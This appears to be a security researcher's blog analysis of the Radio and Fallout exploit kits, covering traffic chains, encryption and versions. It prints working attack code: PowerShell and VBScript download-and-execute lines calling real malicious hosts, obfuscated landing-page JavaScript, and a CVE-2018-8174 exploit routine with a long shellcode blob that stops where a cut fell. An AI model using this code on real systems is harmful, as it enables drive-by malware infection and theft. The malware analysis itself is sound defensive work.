The Radio Exploit Kit is not advanced. It exploits a very used vulnerability CVE-2016-0189. The exploit kit code is also unrefined. It is simply sending in malware (we are observing AZORult) using PoC of CVE-2016-0189. We don’t expect this to be a real threat. Most ordinary people will not be affected by this. However, I write this article because it is often observed in Japan. Be aware that these threats exist.

Traffic

This exploit kit is in the process of growing. Five updates have been made since we started observation (including simple path updates). We identify each one as follows. Here we introduce v1.0, 1.1 and 1.2.0.

Version First seen          2nd URL
1.0     2019-07-11_10-00    https[:]//radiobox-online.org/images/image.vbs2
1.1     2019-07-12-20-00    http[:]//95.215.207.24/error.jp
1.2.0   2019-07-13_14-00    http[:]//95.215.207.24/im/1.jpg
1.2.1   2019-07-13_15-00    http[:]//95.215.207.24/im/build1.jpg
1.2.2   2019-07-14_13-00    http[:]//95.215.207.24/im/build11.jpg
1.2.3   2019-07-14_20-00    http[:]//95.215.207.24/im/vkino2.mid

v1.0

First, let’s look at v1.0. It is the traffic when we first encountered Radio EK.

When redirected from the ad-network to https [:] // radiobox-online.org, code that exploits CVE-2016-0189 will be executed. This is not obfuscated and is the same as PoC. The important code is this.

Set Object = CreateObject("Shell.Application")
Object.ShellExecute "PowerShell","(New-Object System.Net.WebClient).DownloadFile('https[:]//radiobox-online.org/images/image.vbs2','documentation.vbs');Start-Process 'documentation.vbs'"

This will generate a second traffic. image.vbs2 is a very simple code.

mm = "h"
nn = "t"
bb = "/"
vv = ":"
cc = "p"
x = "."
zz = "vbs"
q = "0"
w = "1"
e = "2"
r = "3"
t = "4"
y = "5"
u = "6"
a = "7"
s = "8"
f = "9"

strr = mm&nn&nn&cc&vv&bb&bb
rrts = t&y&x&w&e&x&e&w&y&x&w&y&a&bb
rprt = strr&rrts

d.Add "1", ""&rprt&"src/load2.jpg|"&temp&"\temp.vbs"
Set x = CreateObject("MSXML2.XMLHTTP")
For Each i In d 
x.open "GET", Split(d.Item(i), "|")(0), false
x.send()

This will load load2.jpg. load2.jpg is also a simple code.

Set css = CreateObject("WScript.Shell")
css = "http[:]//45.12.215.157/images/"
ico = ".exe"
css1 = "temp" & rand(1, 100)
css2 = "temp" & rand(101, 200)
css3 = "temp" & rand(201, 300)
css4 = "temp" & rand(301, 400)
css5 = "temp" & rand(401, 500)

Set oShell = CreateObject( "WScript.Shell" )
temp=oShell.ExpandEnvironmentStrings("%TEMP%\")
Dim good
Set good = CreateObject("WScript.Shell")
good = 200
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''1
set d = CreateObject("Scripting.Dictionary")

d.Add "1", "" & css & "1.jpg|"&temp&"" & css1 & "" & ico & ""
Set ar1 = CreateObject("MSXML2.XMLHTTP")
For Each i In d 
ar1.open "GET", Split(d.Item(i), "|")(0), false
ar1.send()
If ar1.Status = good Then
With CreateObject("ADODB.Stream")
.Open
.Type = 1
.Write ar1.ResponseBody
.Position = 0
.SaveToFile Split(d.Item(i), "|")(1), 2
.Close
End With
set WshShell = WScript.CreateObject("Wscript.Shell")
WshShell.Run temp & ""& css1 &"" & ico & "", ,true
End If
Next

This process is repeated from 1.jpg to 5.jpg in order. The 1.jpg downloaded and executed in this way is malware. Malware is unencrypted and is plain binary.

v1.1

Next, let’s look at v1.1.

For v1.1, the code executed by CVE-2016-0189 is as follows:

Set Object = CreateObject("Shell.Application")
Object.ShellExecute "PowerShell",  "(New-Object System.Net.WebClient).DownloadString('https[:]//2no.co/1ehqM6');$local_path = [System.IO.Path]::GetTempPath();(New-Object System.Net.WebClient).DownloadFile('http[:]//95.215.207.24/error.jp', $local_path+'documentation.vbs');$local_path2 = [System.IO.Path]::GetTempPath()+'documentation.vbs';Start-Process $local_path2"

Unlike v1.0, the VBScript URL to be loaded next is http[:]//95.215.207.24/error.jp. At this time, the end of the URL is .jp. I don’t know if this is a mistake in hitting jpg or meaning Japan.

error.jp will execute code similar to v1.0 load2.jpg.

Set css = CreateObject("WScript.Shell")
css = "http[:]//95.215.207.24/im/"
ico = ".exe"
css1 = "temp" & rand(1, 100)
css2 = "temp" & rand(101, 200)
css3 = "temp" & rand(201, 300)
css4 = "temp" & rand(301, 400)
css5 = "temp" & rand(401, 500)

Set oShell = CreateObject( "WScript.Shell" )
temp=oShell.ExpandEnvironmentStrings("%TEMP%\")
Dim good
Set good = CreateObject("WScript.Shell")
good = 200
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''1
set d = CreateObject("Scripting.Dictionary")

d.Add "1", "" & css & "1.jpg|"&temp&"" & css1 & "" & ico & ""
Set ar1 = CreateObject("MSXML2.XMLHTTP")
For Each i In d 
ar1.open "GET", Split(d.Item(i), "|")(0), false
ar1.send()
If ar1.Status = good Then
With CreateObject("ADODB.Stream")
.Open
.Type = 1
.Write ar1.ResponseBody
.Position = 0
.SaveToFile Split(d.Item(i), "|")(1), 2
.Close
End With
set WshShell = WScript.CreateObject("Wscript.Shell")
WshShell.Run temp & ""& css1 &"" & ico & "", ,true
End If
Next

This is also repeated until /im/5.jpg. The downloaded / executed /im/1.jpg is malware. As in v1.0, malware is not encrypted.

v1.2.0

Finally, let’s look at v1.2.

It became very simple. It can be said that nothing is over. The code executed by CVE-2016-0189 is as follows:

Set Object = CreateObject("Shell.Application")
Object.ShellExecute "PowerShell",  "(New-Object System.Net.WebClient).DownloadString('https[:]//2no.co/1YdQt7');$local_path = [System.IO.Path]::GetTempPath();(New-Object System.Net.WebClient).DownloadFile('http[:]//95.215.207.24/im/1.jpg', $local_path+'documentation.exe');$local_path2 = [System.IO.Path]::GetTempPath()+'documentation.exe';Start-Process $local_path2"

Thus, /im/1.jpg downloaded and executed is malware. As before, malware is not encrypted.

The path of /im/1.jpg has only changed since v1.2.0. The essential process is the same.

Conclusion

Radio EK is active, but its attack power is very low. Compared to RIG and Fallout, the threat is not something that bothers you. However, there may be aggressive updates in the future. You should be aware of the existence of this EK.

We have been observing the Fallout Exploit Kit since August 2018. Fallout is using non-characteristic URL and heavily obfuscated landing page. The user still exists and attacks are observed daily. Recently, we were investigating an attack campaign that infects Raccoon Stealer in the flow of PopAds-> KeitaroTDS-> Fallout.

About Fallout, we have already written three reports. The first one was about the emergence of Fallout, the second one was to start using PowerShell and the third one was to start exploiting PoC on GitHub. We divide these major changes by version and call them v1~3.

• Hello “Fallout Exploit Kit”
• In-Depth analysis of new Fallout Exploit Kit
• Analysis of Fallout Exploit Kit v3

We wrote about v3 in March 2019. v3 is not stable and has been updated to the next version immediately. @EKFiddle (created and maintained by @jeromesegura) reported this change on April 11.

#EKFiddle [Regex update]: #FalloutEK
Seems like there is no more use of the PoC on GitHub for CVE-2018-8174.
Pushing #GandCrab in this particular instance.https://t.co/U67qZosp1e pic.twitter.com/buVTakYuhJ

— EKFiddle (@EKFiddle) 2019年4月11日

We call this a big update v4 (it is still v4). Detailed analysis report has not been written about what kind of update Fallout has done. However, this update is very big. At least for us (Exploit Kit analyst), that made the analysis very cumbersome. Fallout v4 incorporates the following features.

1. Diffie-Hellman key exchange
2. VM detection
3. Process detection

Here, we will share detailed analysis results on the updates made by Fallout v4. But unfortunately, we did not understand everything. If you are aware of it, please help us.

Traffic chain

First, let’s look at the previous traffic chain. v1~3 was like this.

In v3, it acquired PoC of CVE-2018-8174 from GitHub, and attacked by rewriting the part of shellcode. So what kind of traffic chain is v4?

1. Landing Page
2. JavaScript Code
3. Encoded Code 1
4. Encoded Code 2 (CVE-2018-8174 + SWF Loader)
5. CVE-2018-15982
6. PowerShell Code
7. Malware

In this way, an attack is performed by seven traffics. Let’s look at each one in order. (In the following, we will use different traffic data from the above. The detailed reason will be mentioned later, but it is difficult to capture and analyze traffic at the same time)

Landing Page + JS Code + Encoded Data

In the landing page, JavaScript code is read first.

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
<script type="text/javascript" src="/04_09_2003/Symposium?Peristele=02_03_1943&LE3r=Aps&ILZhH=Frazzling-Anorexias"></script>
</head>

This includes CryptoJS and BigInteger obfuscated. Excluding the large library parts, there is very little processing.

// key
window.III1l1 = window["Il1IIllIlI1I"]["IIIlI"]["II1I1lI1I"]["ll1llI1"]("8b69cbdfc5fe43e69b7920c8ee721fc9");
// iv
window.II1ll11I = window["Il1IIllIlI1I"]["IIIlI"]["II1I1lI1I"]["ll1llI1"]("301ae8205ddcd5897df69e3b0c056c34");
// aes_decrypt(enc_data, key, iv)
window.l11llIll = window["Il1IIllIlI1I"]["lI11lIl"]["l11II11l"]("p4N9IqH/oiAKHkDCR0zXXfrvhwVrVPsFZSNUjkVFXxxBofjpd5JLM1sdAega3oRy", III1l1, {
    lI1lIl1Ill: II1ll11I
})["lIlIlll11l"](window["Il1IIllIlI1I"]["IIIlI"]["Il11I1II"]);

First, two data (8b69cbdfc5fe43e69b7920c8ee721fc9 and 301ae8205ddcd5897df69e3b0c056c34) will appear. This is a key and an IV for AES encryption. By decrypting the next Base64 character string using these keys and IV, the necessary data (specifically, the URL for acquiring encoded data used in the next step) can be obtained. . When it tries decoding, it becomes like this.

Next is the process of checking which browser is being used. Depending on it, Opera, Firefox, IE or Chrome is investigated.

// check browser
window["String"]["prototype"]["II1l1IlI"] = function () {
    return (!!window["opr"] && !!window["opr"]["addons"] || !!window["opera"] || navigator["userAgent"]["indexOf"](" OPR/") >= 0)
    + this + (typeof window["InstallTrigger"] !== "undefined")
    + this + (false || !!window["document"]["documentMode"])
    + this + (!!window["chrome"] && !!window["chrome"]["runtime"])
};

Then there is a process to check the version of Adobe Flash Player. This data will be used later.

(function () {
    window.l1l111I = '';
    try {
        window.l1l111I = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').getVariable('$version')
    } catch (e) {}
})();

The process then returns to the landing page. In the landing page, one function is defined and executed. Let’s look at that function.

// str_A
var l1ll1 = window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l']();
// str_B
var lIlII11 = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](), 16);
// str_C
var ll1l1IlIIIll = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](), 16);
// str_D
var lll1II = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](), 16);

// str_E => str_B.modPow(str_C, str_D)
var l11IlIl = lIlII11['ll11IIl'](ll1l1IlIIIll, lll1II);

Here, many processes such as window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l']() appear. This is defined in CryptoJS and generates a 32 character random hexadecimal string. After generating four random data, use the second, third and fourth of them to generate the fifth data. Here modPow is used. The five data prepared here will be used in the ensuing cryptographic process. We call them str_A, str_B, str_C, str_D, str_E.

The following code is divided into three parts. Onreadystatechange after the first one has sent a request to the server. The process of generating data to be sent by the second. The third is the process to send. These are the standard XMLHttpRequest POST procedures. First, let’s look at the process of generating transmission data.

var l11IlIIlllll = {};

l11IlIIlllll['lIlII11'] = lIlII11['lIlIlll11l'](16);    // str_B
l11IlIIlllll['lll1II'] = lll1II['lIlIlll11l'](16);      // str_D
l11IlIIlllll['l11IlIl'] = l11IlIl['lIlIlll11l'](16);    // str_E
l11IlIIlllll['lI1lIl1Ill'] = l1ll1;                     // str_A

// browser check data
l11IlIIlllll['II1l1IlI'] = '@@' ['II1l1IlI']();

Five data have been added to the array l11IlIIlllll. Other than the last one is the random data created earlier. There are 5 random data, but the data other than str_C is send data. The last one is the browser check data generated earlier. It checks whether the browser is Opera, Firefox, IE or Chrome, respectively, and contains true or false and is concatenated with @@. Such data is prepared for send. It should be noted here that str_C has not been sent to the server.

Next, let’s look at the sending process.

window['I1l1I1'](Il1I11l, "post", l11llIll, true);

/* -- snip -- */

// Send POST
window['l1lllIIlI'](
    Il1I11l,

    // aes_encrypt(data, key, iv)
    window['Il1IIllIlI1I']['lI11lIl']['Ill1lI1Ill'](
        window['IIII1Il'](l11IlIIlllll),        // post request data
        window['III1l1'],                       // key
        { lI1lIl1Ill: window['II1ll11I'] }      // iv
    )['lIlIlll11l']()
);

This is also a general request sending process. The URL is a string decoded by AES earlier. The data to be sent is the previously prepared data, but these are encrypted by AES. The key and IV are the same as those used to decode the URL. The previous data to be encrypted looks like this.

{
    "lIlII11":"c81e728d9d4c2f636f067f89cc14862c",
    "lll1II":"a87ff679a2f3e71d9181a67b7542122c",
    "l11IlIl":"3f05415ebff145466040f6a73dca8704",
    "lI1lIl1Ill":"c4ca4238a0b923820dcc509a6f75849b",
    "II1l1IlI":"false@@false@@true@@false"
}

The data actually sent is encrypted in this way.

TvU4TAyld3MNlDcMtLwxBo+uVXAbIB1jpPO1a9HDv2dZs7HonG67s8heWoMyvnUFqFBdoEhU0STYjHHQxX6DK7x7Z1naG/2TAdm+AR5l6gpYVl4jXB9oOOyfJtZrfJHabQT5Jhlqv1dtvsJ+0G27qhamqtPT16wCpXn2R2WHf8NJu9SvXSSVadW7sT6QDt32Jt0z3oR0VIlpuE/w3snfKDNIjJYhuMz/VGYIL9WNdg0hC26sxB5fJ5fOOuifh2rNk9GgNsNdfVP01Tf77GRDu9puTbgfsgYOnCz0ONOmp05B14kJ1tK8ZI6ciOWLvOYV

Let’s look at the process after sending. onreadystatechange is called. Here, two AES decodings are performed. Let’s first look at the first decoding process.

// aes_decrypt(enc_data, key, iv)
var lIlIl1IIl11 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    Il1I11l['responseText'],                // enc_data
    window['III1l1'],                       // key
    { lI1lIl1Ill: window['II1ll11I'] }      // iv
)['lIlIlll11l'](window['Il1IIllIlI1I']['IIIlI']['Il11I1II']);

var l1I1l1 = window['lIl11'](lIlIl1IIl11);

POST response data is encrypted with AES. The keys and IV are the same as before, and the hard-coded values (8b69cbdfc5fe43e69b7920c8ee721fc9 and 301ae8205ddcd5897df69e3b0c056c34) are hard-coded in the JavaScript code. Jsonify is performed because the JSON data can be obtained by decoding. The decoded JSON data looks like this.

{
    "IlI1l":"9b412e5c651d73fd1e271dd63f6901a0",
    "I1111":"r+sZGwxURs48PDt8pilYLNYjKbVrMHSmlgv0jeEE7qd8KN+KbbqRpYBUUrEFfM5VSLfRPthHQmyzFoY7fuCtOQQ9vUiMBC+3\/pL…"
}

Decode the second data using the first (32-character hexadecimal string) of this data. The first data is called str_F. Also, decoding is done with AES, but the key and IV are different from before.

var lIlll1IIlI = window['l1l1IIlIlI'](l1I1l1['lIlll1IIlI'], 16);    // str_F

// key (str_G) => str_F.modPow(str_C, str_D)
var llIIlI = lIlll1IIlI['ll11IIl'](ll1l1IlIIIll, lll1II);
var I1Il1I1 = llIIlI['lIlIlll11l'](16);
var IIIIlI1IllII = 32 - I1Il1I1.length;
while (IIIIlI1IllII > 0) {
    I1Il1I1 = '0' + I1Il1I1;
    IIIIlI1IllII--;
}
var II1ll = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](I1Il1I1);
var lI1lIl1Ill = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](l1ll1);

// aes_decrypt(enc_data, key, iv)
var Il11lII1 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    l1I1l1['lIlIl1IIl11'],          // enc_data
    II1ll,                          // str_G
    { lI1lIl1Ill: lI1lIl1Ill }      // iv => str_A
);

The values generated by str_F, str_C and str_D are called str_G. Thus, str_C is required to decode the data, but str_C has not been sent to the server. By looking at the traffic data, you can see str_E and str_G created by str_C, but it is impossible to find str_C. Please see Wikipedia for details.

• Diffie–Hellman key exchange - Wikipedia

The data thus decoded is executed as JavsScript.

// eval
II1Il['ll1I1']();

Let’s look at the executed code. First, the URL used next is decoded. The key and IV used at this time are hard-coded initial values.

// aes_decrypt(enc_url, key, iv)
var l11l1I1 =window["Il1IIllIlI1I"]["lI11lIl"]["l11II11l"](
    "l9kie2x7t4Iq4hRNA3G3Juz+buSrv9OSyATsAvZRjsoWkjatAa3Am6oRnar5jjv2N8XFpvDYQbKswFbyKiGPXM/eRwj5+hz4hg+dTKr5BLk=",
    III1l1,
    { lI1lIl1Ill:II1ll11I }
)["lIlIlll11l"](window["Il1IIllIlI1I"]["IIIlI"]["Il11I1II"]);

Then, as before, the function is called. Let’s look at the function. First, define the necessary data for encryption/decryption as before. Give each one a name as before.

// str_A2
var l1ll1 = window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l']();
// str_B2
var lIlII11 = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](),16);
// str_C2
var ll1l1IlIIIll = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](),16);
// str_D2
var lll1II = window['l1l1IIlIlI'](window['Il1IIllIlI1I']['lIIIlI1IlII']['I111l11l']['II1I1I'](16)['lIlIlll11l'](),16);

// str_E2 => str_B2.powMod(str_C2, str_D2)
var l11IlIl = lIlII11['ll11IIl'](ll1l1IlIIIll,lll1II);

Next, prepare the data to send as a POST request. Unlike before, Adobe Flash Player version information is also sent.

var l11IlIIlllll = {};
l11IlIIlllll['lIlII11'] = lIlII11['lIlIlll11l'](16);    // str_B2
l11IlIIlllll['lll1II'] = lll1II['lIlIlll11l'](16);      // str_D2
l11IlIIlllll['l11IlIl'] = l11IlIl['lIlIlll11l'](16);    // str_E2
l11IlIIlllll['lI1lIl1Ill'] = l1ll1;                     // str_A2
l11IlIIlllll['II1l1IlI'] = '@@'['II1l1IlI']();          // browser check data
l11IlIIlllll['l1l111I'] = window['l1l111I'];            // Adobe Flash Player version check data

The sending process is the same as the previous one. The key and IV used in this case are also initial values.

window['I1l1I1'](Il1I11l,"post",l11l1I1,true);

window['l1lllIIlI'](
    Il1I11l,
    // aes_encrypt
    window['Il1IIllIlI1I']['lI11lIl']['Ill1lI1Ill'](
        window['IIII1Il'](l11IlIIlllll),    // POST Data
        window['III1l1'],                   // key
        {lI1lIl1Ill:window['II1ll11I']}     // iv
    )['lIlIlll11l']()
);

Thus, onreadystatechange is called as well. Here too, the decoding process is performed as before. First, decode POST response data with the same key and IV as before.

// aes_decrypt(enc_data, key, iv)
var lIlIl1IIl11 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    Il1I11l['responseText'],                // enc_data
    window['III1l1'],                       // key
    {lI1lIl1Ill:window['II1ll11I']}         // iv
)['lIlIlll11l'](window['Il1IIllIlI1I']['IIIlI']['Il11I1II']);

When jsonify the decoded result, three data are included like this. The first 32-character hexadecimal string is called str_F2.

{
    "lIlll1IIlI": "87e087b48d4b06215f486021f23f5470",
    "lIIIIllIl1": "oUeRtTwLk9lLYqMwZC3AM49H8HDw15IqymZ0W\/vw87Vd9RtdXhps9ZppZc\/INO01Bqk79BOMS9ykHCDPE\/\/kWCHQuuh0\/rr…",
    "II11lIl11": "88HY4nkc9TWmnRPi\/hEPmk8ZCTJ5tIwItosOTmqFjUBFxCXfoXdMKas+TeKLUbdwsXAhvGa35wNmMnajdPzt1huWerzwnhoGcFP…"
}

Decrypt these data. Thus two data are decoded.

var lIlll1IIlI = window['l1l1IIlIlI'](l1I1l1['lIlll1IIlI'],16);

// str_G2 => str_F2.modPow(str_C2, str_D2)
var llIIlI = lIlll1IIlI['ll11IIl'](ll1l1IlIIIll,lll1II);
var I1Il1I1 = llIIlI['lIlIlll11l'](16);
var IIIIlI1IllII = 32 - I1Il1I1.length;
while(IIIIlI1IllII > 0) {
    I1Il1I1 = '0'+I1Il1I1;
    IIIIlI1IllII--;
}
var II1ll = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](I1Il1I1);       // str_G2
var lI1lIl1Ill = window['Il1IIllIlI1I']['IIIlI']['II1I1lI1I']['ll1llI1'](l1ll1);    // str_A2

// aes_decrypt()
var I1II111I1 = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    l1I1l1['lIIIIllIl1'],       // enc_data_1
    II1ll,                      // str_G2
    {lI1lIl1Ill: lI1lIl1Ill}    // str_A2
);

var IIIIl = window['Il1IIllIlI1I']['lI11lIl']['l11II11l'](
    l1I1l1['II11lIl11'],        // enc_data_2
    II1ll,                      // str_G2
    {lI1lIl1Ill: lI1lIl1Ill}    // str_A2
);

The data thus decoded is written to Body and executed. The decoded data is the CVE-2018-8174 exploit code and the CVE-2018-15982 exploit code for reading swf loader.

if(IlIII1lll['length'] !== 0) {
	var IIlIl = window['document']['createElement']("iframe");
	IIlIl['setAttribute']("id", "IlIlll1I1");
	window['document']['getElementsByTagName']("BODY")[0].appendChild(IIlIl);
	var I11I11IIlIII = window['document']['getElementById']("IlIlll1I1")['contentWindow']['document'];
	I11I11IIlIII['open']();
	I11I11IIlIII['write'](IlIII1lll);
	I11I11IIlIII['close']();
}

if(lIl1l1I['length'] !== 0) {
    var l1III11 = window['document']['createElement']("iframe");
    l1III11['setAttribute']("id", "lII1I1IlI1I");
    window['document']['getElementsByTagName']("BODY")[0].appendChild(l1III11);
    var llIll1lI = window['document']['getElementById']("lII1I1IlI1I")['contentWindow']['document'];
    llIll1lI['open']();
    llIll1lI['write'](lIl1l1I);
    llIll1lI['close']();
}

For swf loader, the following code is executed.

<html>
<head>
    <meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
    <div id="BnjJbx"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="205" height="528" id="BnjJbx" align="middle">
            <param name="movie" value="/24_02_1964/05_04_1933/3410-Skegger-12666" />
            <param name="quality" value="high" />
            <param name="bgcolor" value="#ffffff" />
            <param name="play" value="true" />
            <param name="loop" value="true" />
            <param name="wmode" value="window" />
            <param name="scale" value="showall" />
            <param name="menu" value="false" />
            <param name="devicefont" value="false" />
            <param name="salign" value="" />
            <param name="allowScriptAccess" value="sameDomain" /></object></div>
</body>
</html>

Thus, the swf file that exploits CVE-2018-15982 is read and executed.

CVE-2018-8174

The exploit code used is very similar to PoC.

Sub StartExploit
	UAF
	InitObjects
	vb_adrr=LeakVBAddr()
	vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
	msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
	krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
	ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
	VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
	NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
	SetMemValue GetShellcode()
	ShellcodeAddr=GetMemValue()+8
	SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
	lIlll=GetMemValue()+69596
	SetMemValue ExpandWithVirtualProtect(lIlll)
	llIIll=GetMemValue()
	ExecuteShellcode
End Sub
StartExploit

The process to generate shellcode is like this.

Function GetShellcode()
	IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%u8B55%u83EC%uF8E4%uEC81%u00CC%u0000%u5653%uE857%u08B0%u0000%uF08B%u44C7%u1824%u05CD%u5379%u848D%uB024%u0000%u8900%u2474%u8934%u2444%u8D14%u2454%u8D10%u2444%uC744%u2444%u1D1C%u2BDE%u8982%u2444%u8D10%u244C%u8D14%u2484%u0094%u0000%u4489%u2824%u448D%u1824%u8D50%u2444%u502C%u1EE8%u0006%u8B00%u245C%u8D18%u244C%u8B18%u247C%u8B1C%u8903%u2444%u8B40%u1C47%u4489%u4424%u478B%u8920%u2444%u3348%u89C0%u2444%u8918%u2444%u891C%u2444%uE834%u02E9%u0000%u548D%u1C24%uCF8B%u66E8%u0002%u8300%u2464%u0038%u4C8D%u2024%u406A%uE856%u02FE%u0000%uC683%u8D40%u244C%u6828%u0080%u0000%uE856%u02EC%u0000%u74FF%u2C24%u4C8B%u5024%u448D%u4824%u74FF%u2C24%uD68B%u74FF%u4824%u5753%u8D50%u2444%u5060%u448D%u4C24%uE850%u0389%u0000%uDB33%uC483%u3938%u245C%u742C%u8B41%u2474%u8D38%u2444%u6A48%u5F44%u5357%uFF50%u83D6%u0CC4%u7C89%u4824%u448D%u1824%u106A%u5053%uD6FF%uC483%u8D0C%u2444%u5018%u448D%u4C24%u5350%u6853%u0000%u0800%u5353%uFF53%u2474%u5350%u54FF%u6424%uFF53%u2454%u5F44%u5B5E%uE58B%uC35D%u8B55%u83EC%u0CEC%u458B%u890C%uF445%u458B%u8908%uF845%u6583%u00FC%u07EB%u458B%u40FC%u4589%u8BFC%uFC45%u453B%u7310%u8B12%uF845%u4503%u8BFC%uF44D%u4D03%u8AFC%u8809%uEB08%uC9DF%u55C3%uEC8B%u458B%u0F08%u00BE%uC085%u2D74%u458B%u0F08%u00BE%uF883%u7C41%u8B19%u0845%uBE0F%u8300%u5AF8%u0E7F%u458B%u0F08%u00BE%uC083%u8B20%u084D%u0188%u458B%u4008%u4589%uEB08%u5DC9%u55C3%uEC8B%u8B51%u0845%u4589%uEBFC%u8B07%uFC45%u8940%uFC45%u458B%u0FFC%u00BE%uC085%u0274%uEDEB%u458B%u2BFC%u0845%uC3C9%u5653%u8B57%u33D9%u53FF%u3347%uE8F6%uFFC9%uFFFF%u8B59%u85C8%u74C9%u0F24%u03B6%uD233%uC703%uF1BF%u00FF%uF700%u43F7%uFA8B%uD233%u048D%uBE3E%uFFF1%u0000%uF6F7%uF28B%uE983%u7501%uC1DC%u10E6%u048D%u5F37%u5B5E%u55C3%uEC8B%uEC83%u5310%u5756%uF98B%u5589%u33FC%u8BF6%u3C47%u5C8B%u7838%uDF03%u438B%u8B1C%u204B%uC703%u4589%u03F0%u8BCF%u2443%uC703%u4D89%u89F8%uF445%u7339%u7618%u8B18%uB10C%uCF03%u7BE8%uFFFF%u3BFF%uFC45%u1074%u4D8B%u46F8%u733B%u7218%u33E8%u5FC0%u5B5E%uC3C9%u458B%u8BF4%uF04D%uB70F%u7004%u048B%u0381%uEBC7%u64EA%u30A1%u0000%u8B00%u0C40%u408B%u8B14%u8B00%u8B00%u1040%u64C3%u30A1%u0000%u8B00%u0C40%u408B%u8B14%u8B00%u1040%u56C3%u8B57%u8BF9%u56F2%u078B%uD0FF%uC085%u0675%u478B%u5604%uD0FF%u5E5F%u56C3%uF18B%uE856%uFEAB%uFFFF%u8B59%uE8CE%uFF06%uFFFF%u3D5E%u06DE%u3F54%u1F74%u413D%uCD05%u7425%u3D18%u0309%u0F05%u1174%uEC3D%u1803%u7416%u3D0A%u044B%u19F3%u0374%uC033%u33C3%u40C0%u55C3%uEC8B%uEC81%u013C%u0000%u418B%u5308%u5756%uFA8B%uDB33%u518B%u890C%uF855%u518B%u8B10%u1449%u6A53%u8902%uFC55%u4D89%uFFF4%u8BD0%u83F0%uFFFE%u4074%u858D%uFEC8%uFFFF%u85C7%uFEC8%uFFFF%u0128%u0000%u5650%u55FF%u85F8%u74C0%u8D27%uEC8D%uFFFE%uE8FF%uFF6F%uFFFF%uC085%u1575%u858D%uFEC8%uFFFF%u5650%u55FF%u85FC%u75C0%u56E2%u55FF%uEBF4%u3303%u43DB%u1F89%u5E5F%uC95B%u55C3%uEC8B%uEC83%u5310%u5756%uC033%uF98B%u3340%u53C9%uA20F%uF38B%u8D5B%uF05D%u0389%u7389%u8904%u084B%u5389%u8B0C%uF845%uE8C1%u891F%u5F07%u5B5E%uC3C9%u8B55%u81EC%u04EC%u0001%u5300%u3356%u57F6%uC68B%u8488%uFC05%uFFFE%u40FF%u003D%u0001%u7200%u8BF1%u8BDE%u8BFE%u8AF1%u3D94%uFEFC%uFFFF%uC78B%uE083%u0F07%uCAB6%uB60F%u3004%uC303%uC803%uB60F%u8AD9%u1D84%uFEFC%uFFFF%u8488%uFC3D%uFFFE%u47FF%u9488%uFC1D%uFFFE%u81FF%u00FF%u0001%u7200%u8BC8%u0C7D%uF633%uDE8B%uFF85%u5574%u458B%u8908%u0C45%u438D%u0F01%uD8B6%u948A%uFC1D%uFFFE%u0FFF%uC2B6%uC603%uB60F%u8AF0%u3584%uFEFC%uFFFF%u8488%uFC1D%uFFFE%u88FF%u3594%uFEFC%uFFFF%uB60F%u1D8C%uFEFC%uFFFF%uB60F%u03C2%u8BC8%u0C45%uB60F%u8AC9%u0D8C%uFEFC%uFFFF%u0830%u8940%u0C45%uEF83%u7501%u8BB1%u0845%u5E5F%uC95B%u55C3%uEC8B%uEC83%u8B48%u1C45%u4D89%u53F4%u8B56%u8B08%u0870%u4D89%u8BF8%u0448%u4D89%u8BF0%u0C48%u4D89%u8BE8%u1048%u4D89%u8BE0%u1448%u4D89%u8BD8%u1848%u458B%u5714%u046A%u5589%u8BEC%u1850%u4D89%u8BC8%u2448%u458B%u6818%u1000%u0000%u046A%u006A%u388B%u5589%u89D4%uFC4D%u7D89%uFFD0%u6AD2%u8B04%u6AD8%u5300%u5D89%uFFE4%u83D7%u207D%u8D00%u1445%u046A%u5350%u1875%u7D83%u0024%u0975%u45C7%uC614%u90EA%uEB2A%uC71D%u1445%uF9D7%u2A90%u14EB%u7D83%u0024%u45C7%uD214%u90EB%u752A%uC707%u1445%uE4D2%u2A90%u29E8%uFFFC%u8BFF%u084D%u458D%u83C0%u0CC4%u45C7%uF4C0%uDBBC%uC770%uC445%uE14D%u1989%u086A%uE850%uFE76%uFFFF%u5959%uDB33%u458D%u53C0%u5353%u5053%u55FF%u8BF8%u85F8%u75FF%u8B0A%u1045%u1889%u23E9%u0001%u5300%u6A53%u5303%u6853%u01BB%u0000%u75FF%u57F4%u55FF%u8BF0%u89D8%u145D%uDB85%u840F%u00FB%u0000%u4D8B%u8D08%uB845%u086A%uC750%uB845%uC6E5%u1DB0%u45C7